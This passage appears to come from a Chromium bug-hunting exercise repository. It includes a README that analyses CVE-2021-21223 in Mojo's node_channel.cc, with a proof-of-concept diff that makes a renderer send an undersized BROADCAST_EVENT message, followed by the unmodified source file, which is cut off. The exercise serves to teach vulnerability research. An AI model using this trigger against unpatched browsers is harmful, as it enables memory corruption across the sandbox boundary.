Truncation truncation);\n  Node* GetFloat64RepresentationFor(Node* node,\n                                    MachineRepresentation output_rep,\n                                    Type output_type, Node* use_node,\n                                    UseInfo use_info);\n  Node* GetWord32RepresentationFor(Node* node, MachineRepresentation output_rep,\n                                   Type output_type, Node* use_node,\n                                   UseInfo use_info);\n  Node* GetBitRepresentationFor(Node* node, MachineRepresentation output_rep,\n                                Type output_type);\n  Node* GetWord64RepresentationFor(Node* node, MachineRepresentation output_rep,\n                                   Type output_type, Node* use_node,\n                                   UseInfo use_info);\n  Node* TypeError(Node* node, MachineRepresentation output_rep,\n                  Type output_type, MachineRepresentation use);\n  Node* MakeTruncatedInt32Constant(double value);\n  Node* InsertChangeBitToTagged(Node* node);\n  Node* InsertChangeFloat32ToFloat64(Node* node);\n  Node* InsertChangeFloat64ToInt32(Node* node);\n  Node* InsertChangeFloat64ToUint32(Node* node);\n  Node* InsertChangeInt32ToFloat64(Node* node);\n  Node* InsertChangeTaggedSignedToInt32(Node* node);\n  Node* InsertChangeTaggedToFloat64(Node* node);\n  Node* InsertChangeUint32ToFloat64(Node* node);\n  Node* InsertCheckedFloat64ToInt32(Node* node, CheckForMinusZeroMode check,\n                                    const FeedbackSource& feedback,\n                                    Node* use_node);\n  Node* InsertConversion(Node* node, const Operator* op, Node* use_node);\n  Node* InsertTruncateInt64ToInt32(Node* node);\n  Node* InsertUnconditionalDeopt(Node* node, DeoptimizeReason reason);\n\n  JSGraph* jsgraph() const { return jsgraph_; }\n  Isolate* isolate() const;\n  Factory* factory() const { return isolate()->factory(); }\n  SimplifiedOperatorBuilder* simplified() { return jsgraph()->simplified(); }\n  MachineOperatorBuilder* machine() { return jsgraph()->machine(); }\n};\n\n}  // namespace compiler\n}  // namespace internal\n}  // namespace v8\n\n#endif  // V8_COMPILER_REPRESENTATION_CHANGE_H_\n"
  },
  {
    "path": "LEVEL_3/exercise_3/README.md",
    "content": "# Exercise 3\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.\n\nLEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\nBut the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.\n\n## CVE-2021-21223\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n\n### Details\n\nIn level 3, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1195308\n\n</details>\n\n--------\n\n### Set environment\n\nafter fetch chromium\n```sh\ngit reset --hard 5fea97e8b681c0a0e142f68ed03d5c4cc5862672\n```\n\n\n\n### Related code\n\nmojo/core/node_channel.cc\n<!-- mojo/core/node_channel.h\nmojo/core/node_controller.cc\nmojo/core/user_message_impl.cc -->\n\nread this [design doc](https://chromium.googlesource.com/chromium/src/+/6740adb28374ddeee13febfd5e5d20cb8a365979/mojo/core#mojo-core-overview) about `mojo-code`, you can understand source code faster.\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  I have notice one func, and this is the only func I suspect.\n  ```c++\n// static\nvoid NodeChannel::GetEventMessageData(Channel::Message* message,\n                                      void** data,\n                                      size_t* num_data_bytes) {\n  // NOTE: OnChannelMessage guarantees that we never accept a Channel::Message\n  // with a payload of fewer than |sizeof(Header)| bytes.\n  *data = reinterpret_cast<Header*>(message->mutable_payload()) + 1;\n  *num_data_bytes = message->payload_size() - sizeof(Header);\n}\n  ```\n  The **comment** reminds me, `NOTE: OnChannelMessage guarantees that we never accept a Channel::Message with a payload of fewer than |sizeof(Header)| bytes.`\n\n  Can we make `message->payload_size()` less than `sizeof(Header)`? First we need bypass OnChannelMessage to get here.\n\n  ```c++\nvoid NodeChannel::OnChannelMessage(const void* payload,\n                                   size_t payload_size,\n                                   std::vector<PlatformHandle> handles) {\n  DCHECK(owning_task_runner()->RunsTasksInCurrentSequence());\n\n  RequestContext request_context(RequestContext::Source::SYSTEM);\n\n  if (payload_size <= sizeof(Header)) {                [1]\n    delegate_->OnChannelError(remote_node_name_, this);\n    return;\n  }\n  //[ ... ]\n    case MessageType::BROADCAST_EVENT: {\n    if (payload_size <= sizeof(Header))\n      break;\n    const void* data = static_cast<const void*>(\n        reinterpret_cast<const Header*>(payload) + 1);\n    Channel::MessagePtr message =\n        Channel::Message::Deserialize(data, payload_size - sizeof(Header));\n    if (!message || message->has_handles()) {\n      DLOG(ERROR) << \"Dropping invalid broadcast message.\";\n      break;\n    }\n    delegate_->OnBroadcast(remote_node_name_, std::move(message));   [2]\n    return;\n  }\n  ```\n  [1] check `payload_size <= sizeof(Header)` at begain of OnChannelMessage, and I will explain [2] alter.\n\n  We can search for which func call `GetEventMessageData`\n  ```c++\nports::ScopedEvent DeserializeEventMessage(\n    const ports::NodeName& from_node,\n    Channel::MessagePtr channel_message) {\n  void* data;\n  size_t size;\n  NodeChannel::GetEventMessageData(channel_message.get(), &data, &size);  [3]\n  auto event = ports::Event::Deserialize(data, size);\n  if (!event)\n    return nullptr;\n [ ... ]\n}\n===========================================================\n// static\nChannel::MessagePtr UserMessageImpl::FinalizeEventMessage(\n    std::unique_ptr<ports::UserMessageEvent> message_event) {\n  [ ... ]\n  if (channel_message) {\n    void* data;\n    size_t size;\n    NodeChannel::GetEventMessageData(channel_message.get(), &data, &size);  [4]\n    message_event->Serialize(data);\n  }\n  return channel_message;\n}\n  ```\n  [3] and [4] both call `GetEventMessageData`, I analysis `DeserializeEventMessage`\n  ```c++\nvoid NodeController::BroadcastEvent(ports::ScopedEvent event) {\n  Channel::MessagePtr channel_message = SerializeEventMessage(std::move(event));\n  DCHECK(channel_message && !channel_message->has_handles());\n\n  scoped_refptr<NodeChannel> broker = GetBrokerChannel();\n  if (broker)\n    broker->Broadcast(std::move(channel_message));\n  else\n    OnBroadcast(name_, std::move(channel_message));        [5]\n}\n=================================================================\nvoid NodeController::OnBroadcast(const ports::NodeName& from_node,\n                                 Channel::MessagePtr message) {\n  DCHECK(!message->has_handles());\n\n  auto event = DeserializeEventMessage(from_node, std::move(message));  [6]\n  [ ... ]\n  ```\n  [6] call `DeserializeEventMessage` and `BroadcastEvent` call `OnBroadcast`, this is different from [2]. [2] will check `if (payload_size <= sizeof(Header))` before call `OnBroadcast`. And this way have no check so far, maybe I am wrong.\n\n\n  **Poc**\n  >To reproduce the issue, please patch chrome through the following patch\n  ```diff\ndiff --git a/mojo/core/node_channel.cc b/mojo/core/node_channel.cc\nindex c48fb573fea9..7ce197a579f5 100644\n--- a/mojo/core/node_channel.cc\n+++ b/mojo/core/node_channel.cc\n@@ -17,7 +17,7 @@\n #include \"mojo/core/configuration.h\"\n #include \"mojo/core/core.h\"\n #include \"mojo/core/request_context.h\"\n-\n+#include \"base/trace_event/trace_event.h\"\n namespace mojo {\n namespace core {\n \n@@ -327,12 +327,23 @@ void NodeChannel::AcceptInvitee(const ports::NodeName& inviter_name,\n \n void NodeChannel::AcceptInvitation(const ports::NodeName& token,\n                                    const ports::NodeName& invitee_name) {\n-  AcceptInvitationData* data;\n-  Channel::MessagePtr message = CreateMessage(\n-      MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, &data);\n-  data->token = token;\n-  data->invitee_name = invitee_name;\n-  WriteChannelMessage(std::move(message));\n+  if (base::trace_event::TraceLog::GetInstance()->process_name() ==\n+      \"Renderer\") {\n+    void* data;\n+    Channel::MessagePtr broadcast_message =\n+        CreateMessage(MessageType::BROADCAST_EVENT, 16, 0, &data);\n+    uint32_t buffer[] = {16, 16 + 0x10000, 0, 0};\n+    memcpy(data, buffer, sizeof(buffer));\n+    WriteChannelMessage(std::move(broadcast_message));\n+  } else {\n+    AcceptInvitationData* data;\n+    Channel::MessagePtr message = CreateMessage(\n+        MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0,\n+        &data);\n+    data->token = token;\n+    data->invitee_name = invitee_name;\n+    WriteChannelMessage(std::move(message));\n+  }\n }\n \n void NodeChannel::AcceptPeer(const ports::NodeName& sender_name,\n  ```\n  \n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_3/exercise_3/node_channel.cc",
    "content": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"mojo/core/node_channel.h\"\n\n#include <cstring>\n#include <limits>\n#include <sstream>\n\n#include \"base/bind.h\"\n#include \"base/location.h\"\n#include \"base/logging.h\"\n#include \"base/memory/ptr_util.h\"\n#include \"mojo/core/broker_host.h\"\n#include \"mojo/core/channel.h\"\n#include \"mojo/core/configuration.h\"\n#include \"mojo/core/core.h\"\n#include \"mojo/core/request_context.h\"\n\nnamespace mojo {\nnamespace core {\n\nnamespace {\n\n// NOTE: Please ONLY append messages to the end of this enum.\nenum class MessageType : uint32_t {\n  ACCEPT_INVITEE,\n  ACCEPT_INVITATION,\n  ADD_BROKER_CLIENT,\n  BROKER_CLIENT_ADDED,\n  ACCEPT_BROKER_CLIENT,\n  EVENT_MESSAGE,\n  REQUEST_PORT_MERGE,\n  REQUEST_INTRODUCTION,\n  INTRODUCE,\n#if defined(OS_WIN)\n  RELAY_EVENT_MESSAGE,\n#endif\n  BROADCAST_EVENT,\n#if defined(OS_WIN)\n  EVENT_MESSAGE_FROM_RELAY,\n#endif\n  ACCEPT_PEER,\n  BIND_BROKER_HOST,\n};\n\n#pragma pack(push, 1)\n\nstruct alignas(8) Header {\n  MessageType type;\n};\n\nstatic_assert(IsAlignedForChannelMessage(sizeof(Header)),\n              \"Invalid header size.\");\n\nstruct alignas(8) AcceptInviteeDataV0 {\n  ports::NodeName inviter_name;\n  ports::NodeName token;\n};\n\nstruct alignas(8) AcceptInviteeDataV1 : AcceptInviteeDataV0 {\n  uint64_t capabilities = kNodeCapabilityNone;\n};\n\nusing AcceptInviteeData = AcceptInviteeDataV1;\n\nstruct alignas(8) AcceptInvitationDataV0 {\n  ports::NodeName token;\n  ports::NodeName invitee_name;\n};\n\nstruct alignas(8) AcceptInvitationDataV1 : AcceptInvitationDataV0 {\n  uint64_t capabilities = kNodeCapabilityNone;\n};\n\nusing AcceptInvitationData = AcceptInvitationDataV1;\n\nstruct alignas(8) AcceptPeerDataV0 {\n  ports::NodeName token;\n  ports::NodeName peer_name;\n  ports::PortName port_name;\n};\n\nusing AcceptPeerData = AcceptPeerDataV0;\n\n// This message may include a process handle on platforms that require it.\nstruct alignas(8) AddBrokerClientDataV0 {\n  ports::NodeName client_name;\n#if !defined(OS_WIN)\n  uint32_t process_handle = 0;\n#endif\n};\n\nusing AddBrokerClientData = AddBrokerClientDataV0;\n\n#if !defined(OS_WIN)\nstatic_assert(sizeof(base::ProcessHandle) == sizeof(uint32_t),\n              \"Unexpected pid size\");\nstatic_assert(sizeof(AddBrokerClientData) % kChannelMessageAlignment == 0,\n              \"Invalid AddBrokerClientData size.\");\n#endif\n\n// This data is followed by a platform channel handle to the broker.\nstruct alignas(8) BrokerClientAddedDataV0 {\n  ports::NodeName client_name;\n};\n\nusing BrokerClientAddedData = BrokerClientAddedDataV0;\n\n// This data may be followed by a platform channel handle to the broker. If not,\n// then the inviter is the broker and its channel should be used as such.\nstruct alignas(8) AcceptBrokerClientDataV0 {\n  ports::NodeName broker_name;\n};\n\nstruct alignas(8) AcceptBrokerClientDataV1 : AcceptBrokerClientDataV0 {\n  uint64_t capabilities = kNodeCapabilityNone;\n  uint64_t broker_capabilities = kNodeCapabilityNone;\n};\n\nusing AcceptBrokerClientData = AcceptBrokerClientDataV1;\n\n// This is followed by arbitrary payload data which is interpreted as a token\n// string for port location.\n// NOTE: Because this field is variable length it cannot be versioned.\nstruct alignas(8) RequestPortMergeData {\n  ports::PortName connector_port_name;\n};\n\n// Used for both REQUEST_INTRODUCTION and INTRODUCE.\n//\n// For INTRODUCE the message also includes a valid platform handle for a\n// channel the receiver may use to communicate with the named node directly,\n// or an invalid platform handle if the node is unknown to the sender or\n// otherwise cannot be introduced.\nstruct alignas(8) IntroductionDataV0 {\n  ports::NodeName name;\n};\n\nstruct alignas(8) IntroductionDataV1 : IntroductionDataV0 {\n  uint64_t capabilities = kNodeCapabilityNone;\n};\n\nusing IntroductionData = IntroductionDataV1;\n\n// This message is just a PlatformHandle. The data struct alignas(8) here has\n// only a padding field to ensure an aligned, non-zero-length payload.\nstruct alignas(8) BindBrokerHostDataV0 {};\n\nusing BindBrokerHostData = BindBrokerHostDataV0;\n\n#if defined(OS_WIN)\n// This struct alignas(8) is followed by the full payload of a message to be\n// relayed.\n// NOTE: Because this field is variable length it cannot be versioned.\nstruct alignas(8) RelayEventMessageData {\n  ports::NodeName destination;\n};\n\n// This struct alignas(8) is followed by the full payload of a relayed\n// message.\nstruct alignas(8) EventMessageFromRelayDataV0 {\n  ports::NodeName source;\n};\n\nusing EventMessageFromRelayData = EventMessageFromRelayDataV0;\n\n#endif\n\n#pragma pack(pop)\n\nChannel::MessagePtr CreateMessage(MessageType type,\n                                  size_t payload_size,\n                                  size_t num_handles,\n                                  void** out_data,\n                                  size_t capacity = 0) {\n  const size_t total_size = payload_size + sizeof(Header);\n  if (capacity == 0)\n    capacity = total_size;\n  else\n    capacity = std::max(total_size, capacity);\n  auto message =\n      std::make_unique<Channel::Message>(capacity, total_size, num_handles);\n  Header* header = reinterpret_cast<Header*>(message->mutable_payload());\n\n  // Make sure any header padding gets zeroed.\n  memset(header, 0, sizeof(Header));\n  header->type = type;\n\n  // The out_data starts beyond the header.\n  *out_data = reinterpret_cast<void*>(header + 1);\n  return message;\n}\n\ntemplate <typename DataType>\nChannel::MessagePtr CreateMessage(MessageType type,\n                                  size_t payload_size,\n                                  size_t num_handles,\n                                  DataType** out_data,\n                                  size_t capacity = 0) {\n  auto msg_ptr = CreateMessage(type, payload_size, num_handles,\n                               reinterpret_cast<void**>(out_data), capacity);\n\n  // Since we know the type let's make sure any padding areas are zeroed.\n  memset(*out_data, 0, sizeof(DataType));\n\n  return msg_ptr;\n}\n\n// This method takes a second template argument which is another datatype\n// which represents the smallest size this payload can be to be considered\n// valid this MUST be used when there is more than one version of a message to\n// specify the oldest version of the message.\ntemplate <typename DataType, typename MinSizedDataType>\nbool GetMessagePayloadMinimumSized(const void* bytes,\n                                   size_t num_bytes,\n                                   DataType* out_data) {\n  static_assert(sizeof(DataType) > 0, \"DataType must have non-zero size.\");\n  if (num_bytes < sizeof(Header) + sizeof(MinSizedDataType)) {\n    return false;\n  }\n\n  // Always make sure that the full object is zeored and default constructed\n  // as we may not have the complete type. The default construction allows\n  // fields to be default initialized to be resilient to older message\n  // versions.\n  memset(out_data, 0, sizeof(*out_data));\n  new (out_data) DataType;\n\n  // Overwrite any fields we received.\n  memcpy(out_data, static_cast<const uint8_t*>(bytes) + sizeof(Header),\n         std::min(sizeof(DataType), num_bytes - sizeof(Header)));\n  return true;\n}\n\ntemplate <typename DataType>\nbool GetMessagePayload(const void* bytes,\n                       size_t num_bytes,\n                       DataType* out_data) {\n  return GetMessagePayloadMinimumSized<DataType, DataType>(bytes, num_bytes,\n                                                           out_data);\n}\n\n}  // namespace\n\n// static\nscoped_refptr<NodeChannel> NodeChannel::Create(\n    Delegate* delegate,\n    ConnectionParams connection_params,\n    Channel::HandlePolicy channel_handle_policy,\n    scoped_refptr<base::SingleThreadTaskRunner> io_task_runner,\n    const ProcessErrorCallback& process_error_callback) {\n#if defined(OS_NACL_SFI)\n  LOG(FATAL) << \"Multi-process not yet supported on NaCl-SFI\";\n  return nullptr;\n#else\n  return new NodeChannel(delegate, std::move(connection_params),\n                         channel_handle_policy, io_task_runner,\n                         process_error_callback);\n#endif\n}\n\n// static\nChannel::MessagePtr NodeChannel::CreateEventMessage(size_t capacity,\n                                                    size_t payload_size,\n                                                    void** payload,\n                                                    size_t num_handles) {\n  return CreateMessage(MessageType::EVENT_MESSAGE, payload_size, num_handles,\n                       payload, capacity);\n}\n\n// static\nvoid NodeChannel::GetEventMessageData(Channel::Message* message,\n                                      void** data,\n                                      size_t* num_data_bytes) {\n  // NOTE: OnChannelMessage guarantees that we never accept a Channel::Message\n  // with a payload of fewer than |sizeof(Header)| bytes.\n  *data = reinterpret_cast<Header*>(message->mutable_payload()) + 1;\n  *num_data_bytes = message->payload_size() - sizeof(Header);\n}\n\nvoid NodeChannel::Start() {\n  base::AutoLock lock(channel_lock_);\n  // ShutDown() may have already been called, in which case |channel_| is null.\n  if (channel_)\n    channel_->Start();\n}\n\nvoid NodeChannel::ShutDown() {\n  base::AutoLock lock(channel_lock_);\n  if (channel_) {\n    channel_->ShutDown();\n    channel_ = nullptr;\n  }\n}\n\nvoid NodeChannel::LeakHandleOnShutdown() {\n  base::AutoLock lock(channel_lock_);\n  if (channel_) {\n    channel_->LeakHandle();\n  }\n}\n\nvoid NodeChannel::NotifyBadMessage(const std::string& error) {\n  DCHECK(HasBadMessageHandler());\n  process_error_callback_.Run(\"Received bad user message: \" + error);\n}\n\nvoid NodeChannel::SetRemoteProcessHandle(base::Process process_handle) {\n  DCHECK(owning_task_runner()->RunsTasksInCurrentSequence());\n  {\n    base::AutoLock lock(channel_lock_);\n    if (channel_)\n      channel_->set_remote_process(process_handle.Duplicate());\n  }\n  base::AutoLock lock(remote_process_handle_lock_);\n  DCHECK(!remote_process_handle_.IsValid());\n  CHECK_NE(remote_process_handle_.Handle(), base::GetCurrentProcessHandle());\n  remote_process_handle_ = std::move(process_handle);\n}\n\nbool NodeChannel::HasRemoteProcessHandle() {\n  base::AutoLock lock(remote_process_handle_lock_);\n  return remote_process_handle_.IsValid();\n}\n\nbase::Process NodeChannel::CloneRemoteProcessHandle() {\n  base::AutoLock lock(remote_process_handle_lock_);\n  return remote_process_handle_.Duplicate();\n}\n\nvoid NodeChannel::SetRemoteNodeName(const ports::NodeName& name) {\n  DCHECK(owning_task_runner()->RunsTasksInCurrentSequence());\n  remote_node_name_ = name;\n}\n\nvoid NodeChannel::AcceptInvitee(const ports::NodeName& inviter_name,\n                                const ports::NodeName& token) {\n  AcceptInviteeData* data;\n  Channel::MessagePtr message = CreateMessage(\n      MessageType::ACCEPT_INVITEE, sizeof(AcceptInviteeData), 0, &data);\n  data->inviter_name = inviter_name;\n  data->token = token;\n  data->capabilities = local_capabilities_;\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::AcceptInvitation(const ports::NodeName& token,\n                                   const ports::NodeName& invitee_name) {\n  AcceptInvitationData* data;\n  Channel::MessagePtr message = CreateMessage(\n      MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, &data);\n  data->token = token;\n  data->invitee_name = invitee_name;\n  data->capabilities = local_capabilities_;\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::AcceptPeer(const ports::NodeName& sender_name,\n                             const ports::NodeName& token,\n                             const ports::PortName& port_name) {\n  AcceptPeerData* data;\n  Channel::MessagePtr message =\n      CreateMessage(MessageType::ACCEPT_PEER, sizeof(AcceptPeerData), 0, &data);\n  data->token = token;\n  data->peer_name = sender_name;\n  data->port_name = port_name;\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::AddBrokerClient(const ports::NodeName& client_name,\n                                  base::Process process_handle) {\n  AddBrokerClientData* data;\n  std::vector<PlatformHandle> handles;\n#if defined(OS_WIN)\n  handles.emplace_back(base::win::ScopedHandle(process_handle.Release()));\n#endif\n  Channel::MessagePtr message =\n      CreateMessage(MessageType::ADD_BROKER_CLIENT, sizeof(AddBrokerClientData),\n                    handles.size(), &data);\n  message->SetHandles(std::move(handles));\n  data->client_name = client_name;\n#if !defined(OS_WIN)\n  data->process_handle = process_handle.Handle();\n#endif\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::BrokerClientAdded(const ports::NodeName& client_name,\n                                    PlatformHandle broker_channel) {\n  BrokerClientAddedData* data;\n  std::vector<PlatformHandle> handles;\n  if (broker_channel.is_valid())\n    handles.emplace_back(std::move(broker_channel));\n  Channel::MessagePtr message =\n      CreateMessage(MessageType::BROKER_CLIENT_ADDED,\n                    sizeof(BrokerClientAddedData), handles.size(), &data);\n  message->SetHandles(std::move(handles));\n  data->client_name = client_name;\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::AcceptBrokerClient(const ports::NodeName& broker_name,\n                                     PlatformHandle broker_channel,\n                                     const uint64_t broker_capabilities) {\n  AcceptBrokerClientData* data;\n  std::vector<PlatformHandle> handles;\n  if (broker_channel.is_valid())\n    handles.emplace_back(std::move(broker_channel));\n  Channel::MessagePtr message =\n      CreateMessage(MessageType::ACCEPT_BROKER_CLIENT,\n                    sizeof(AcceptBrokerClientData), handles.size(), &data);\n  message->SetHandles(std::move(handles));\n  data->broker_name = broker_name;\n  data->broker_capabilities = broker_capabilities;\n  data->capabilities = local_capabilities_;\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::RequestPortMerge(const ports::PortName& connector_port_name,\n                                   const std::string& token) {\n  RequestPortMergeData* data;\n  Channel::MessagePtr message =\n      CreateMessage(MessageType::REQUEST_PORT_MERGE,\n                    sizeof(RequestPortMergeData) + token.size(), 0, &data);\n  data->connector_port_name = connector_port_name;\n  memcpy(data + 1, token.data(), token.size());\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::RequestIntroduction(const ports::NodeName& name) {\n  IntroductionData* data;\n  Channel::MessagePtr message = CreateMessage(\n      MessageType::REQUEST_INTRODUCTION, sizeof(IntroductionData), 0, &data);\n  data->name = name;\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::Introduce(const ports::NodeName& name,\n                            PlatformHandle channel_handle,\n                            uint64_t capabilities) {\n  IntroductionData* data;\n  std::vector<PlatformHandle> handles;\n  if (channel_handle.is_valid())\n    handles.emplace_back(std::move(channel_handle));\n  Channel::MessagePtr message = CreateMessage(\n      MessageType::INTRODUCE, sizeof(IntroductionData), handles.size(), &data);\n  message->SetHandles(std::move(handles));\n  data->name = name;\n  // Note that these are not our capabilities, but the capabilities of the peer\n  // we're introducing.\n  data->capabilities = capabilities;\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::SendChannelMessage(Channel::MessagePtr message) {\n  WriteChannelMessage(std::move(message));\n}\n\nvoid NodeChannel::Broadcast(Channel::MessagePtr message) {\n  DCHECK(!message->has_handles());\n  void* data;\n  Channel::MessagePtr broadcast_message = CreateMessage(\n      MessageType::BROADCAST_EVENT, message->data_num_bytes(), 0, &data);\n  memcpy(data, message->data(), message->data_num_bytes());\n  WriteChannelMessage(std::move(broadcast_message));\n}\n\nvoid NodeChannel::BindBrokerHost(PlatformHandle broker_host_handle) {\n#if !defined(OS_APPLE) && !defined(OS_NACL) && !defined(OS_FUCHSIA)\n  DCHECK(broker_host_handle.is_valid());\n  BindBrokerHostData* data;\n  std::vector<PlatformHandle> handles;\n  handles.push_back(std::move(broker_host_handle));\n  Channel::MessagePtr message =\n      CreateMessage(MessageType::BIND_BROKER_HOST, sizeof(BindBrokerHostData),\n                    handles.size(), &data);\n  message->SetHandles(std::move(handles));\n  WriteChannelMessage(std::move(message));\n#endif\n}\n\n#if defined(OS_WIN)\nvoid NodeChannel::RelayEventMessage(const ports::NodeName& destination,\n                                    Channel::MessagePtr message) {\n  DCHECK(message->has_handles());\n\n  // Note that this is only used on Windows, and on Windows all platform\n  // handles are included in the message data. We blindly copy all the data\n  // here and the relay node (the broker) will duplicate handles as needed.\n  size_t num_bytes = sizeof(RelayEventMessageData) + message->data_num_bytes();\n  RelayEventMessageData* data;\n  Channel::MessagePtr relay_message =\n      CreateMessage(MessageType::RELAY_EVENT_MESSAGE, num_bytes, 0, &data);\n  data->destination = destination;\n  memcpy(data + 1, message->data(), message->data_num_bytes());\n\n  // When the handles are duplicated in the broker, the source handles will\n  // be closed. If the broker never receives this message then these handles\n  // will leak, but that means something else has probably broken and the\n  // sending process won't likely be around much longer.\n  //\n  // TODO(https://crbug.com/813112): We would like to be able to violate the\n  // above stated assumption. We should not leak handles in cases where we\n  // outlive the broker, as we may continue existing and eventually accept a new\n  // broker invitation.\n  std::vector<PlatformHandleInTransit> handles = message->TakeHandles();\n  for (auto& handle : handles)\n    handle.TakeHandle().release();\n\n  WriteChannelMessage(std::move(relay_message));\n}\n\nvoid NodeChannel::EventMessageFromRelay(const ports::NodeName& source,\n                                        Channel::MessagePtr message) {\n  size_t num_bytes =\n      sizeof(EventMessageFromRelayData) + message->payload_size();\n  EventMessageFromRelayData* data;\n  Channel::MessagePtr relayed_message =\n      CreateMessage(MessageType::EVENT_MESSAGE_FROM_RELAY, num_bytes,\n                    message->num_handles(), &data);\n  data->source = source;\n  if (message->payload_size())\n    memcpy(data + 1, message->payload(), message->payload_size());\n  relayed_message->SetHandles(message->TakeHandles());\n  WriteChannelMessage(std::move(relayed_message));\n}\n#endif  // defined(OS_WIN)\n\nNodeChannel::NodeChannel(\n    Delegate* delegate,\n    ConnectionParams connection_params,\n    Channel::HandlePolicy channel_handle_policy,\n    scoped_refptr<base::SingleThreadTaskRunner> io_task_runner,\n    const ProcessErrorCallback& process_error_callback)\n    : base::RefCountedDeleteOnSequence<NodeChannel>(io_task_runner),\n      delegate_(delegate),\n      process_error_callback_(process_error_callback)\n#if !defined(OS_NACL_SFI)\n      ,\n      channel_(Channel::Create(this,\n                               std::move(connection_params),\n                               channel_handle_policy,\n                               std::move(io_task_runner)))\n#endif\n{\n  InitializeLocalCapabilities();\n}\n\nNodeChannel::~NodeChannel() {\n  ShutDown();\n}\n\nvoid NodeChannel::CreateAndBindLocalBrokerHost(\n    PlatformHandle broker_host_handle) {\n#if !defined(OS_APPLE) && !defined(OS_NACL) && !defined(OS_FUCHSIA)\n  // Self-owned.\n  ConnectionParams connection_params(\n      PlatformChannelEndpoint(std::move(broker_host_handle)));\n  new BrokerHost(remote_process_handle_.Duplicate(),\n                 std::move(connection_params), process_error_callback_);\n#endif\n}\n\nvoid NodeChannel::OnChannelMessage(const void* payload,\n                                   size_t payload_size,\n                                   std::vector<PlatformHandle> handles) {\n  DCHECK(owning_task_runner()->RunsTasksInCurrentSequence());\n\n  RequestContext request_context(RequestContext::Source::SYSTEM);\n\n  if (payload_size <= sizeof(Header)) {\n    delegate_->OnChannelError(remote_node_name_, this);\n    return;\n  }\n\n  const Header* header = static_cast<const Header*>(payload);\n  switch (header->type) {\n    case MessageType::ACCEPT_INVITEE: {\n      AcceptInviteeData data;\n      if (GetMessagePayloadMinimumSized<AcceptInviteeData, AcceptInviteeDataV0>(\n              payload, payload_size, &data)) {\n        // Attach any capabilities that the other side advertised.\n        SetRemoteCapabilities(data.capabilities);\n        delegate_->OnAcceptInvitee(remote_node_name_, data.inviter_name,\n                                   data.token);\n        return;\n      }\n      break;\n    }\n\n    case MessageType::ACCEPT_INVITATION: {\n      AcceptInvitationData data;\n      if (GetMessagePayloadMinimumSized<AcceptInvitationData,\n                                        AcceptInvitationDataV0>(\n              payload, payload_size, &data)) {\n        // Attach any capabilities that the other side advertised.\n        SetRemoteCapabilities(data.capabilities);\n        delegate_->OnAcceptInvitation(remote_node_name_, data.token,\n                                      data.invitee_name);\n        return;\n      }\n      break;\n    }\n\n    case MessageType::ADD_BROKER_CLIENT: {\n      AddBrokerClientData data;\n      if (GetMessagePayload(payload, payload_size, &data)) {\n#if defined(OS_WIN)\n        if (handles.size() != 1) {\n          DLOG(ERROR) << \"Dropping invalid AddBrokerClient message.\";\n          break;\n        }\n        delegate_->OnAddBrokerClient(remote_node_name_, data.client_name,\n                                     handles[0].ReleaseHandle());\n#else\n        if (!handles.empty()) {\n          DLOG(ERROR) << \"Dropping invalid AddBrokerClient message.\";\n          break;\n        }\n        delegate_->OnAddBrokerClient(remote_node_name_, data.client_name,\n                                     data.process_handle);\n#endif\n        return;\n      }\n      break;\n    }\n\n    case MessageType::BROKER_CLIENT_ADDED: {\n      BrokerClientAddedData data;\n      if (GetMessagePayload(payload, payload_size, &data)) {\n        if (handles.size() != 1) {\n          DLOG(ERROR) << \"Dropping invalid BrokerClientAdded message.\";\n          break;\n        }\n        delegate_->OnBrokerClientAdded(remote_node_name_, data.client_name,\n                                       std::move(handles[0]));\n        return;\n      }\n      break;\n    }\n\n    case MessageType::ACCEPT_BROKER_CLIENT: {\n      AcceptBrokerClientData data;\n      if (GetMessagePayloadMinimumSized<AcceptBrokerClientData,\n                                        AcceptBrokerClientDataV0>(\n              payload, payload_size, &data)) {\n        PlatformHandle broker_channel;\n        if (handles.size() > 1) {\n          DLOG(ERROR) << \"Dropping invalid AcceptBrokerClient message.\";\n          break;\n        }\n        if (handles.size() == 1)\n          broker_channel = std::move(handles[0]);\n\n        // Attach any capabilities that the other side advertised.\n        SetRemoteCapabilities(data.capabilities);\n        delegate_->OnAcceptBrokerClient(remote_node_name_, data.broker_name,\n                                        std::move(broker_channel),\n                                        data.broker_capabilities);\n        return;\n      }\n      break;\n    }\n\n    case MessageType::EVENT_MESSAGE: {\n      Channel::MessagePtr message(\n          new Channel::Message(payload_size, handles.size()));\n      message->SetHandles(std::move(handles));\n      memcpy(message->mutable_payload(), payload, payload_size);\n      delegate_->OnEventMessage(remote_node_name_, std::move(message));\n      return;\n    }\n\n    case MessageType::REQUEST_PORT_MERGE: {\n      RequestPortMergeData data;\n      if (GetMessagePayload(payload, payload_size, &data)) {\n        // Don't accept an empty token.\n        size_t token_size = payload_size - sizeof(data) - sizeof(Header);\n        if (token_size == 0)\n          break;\n        std::string token(reinterpret_cast<const char*>(payload) +\n                              sizeof(Header) + sizeof(data),\n                          token_size);\n        delegate_->OnRequestPortMerge(remote_node_name_,\n                                      data.connector_port_name, token);\n        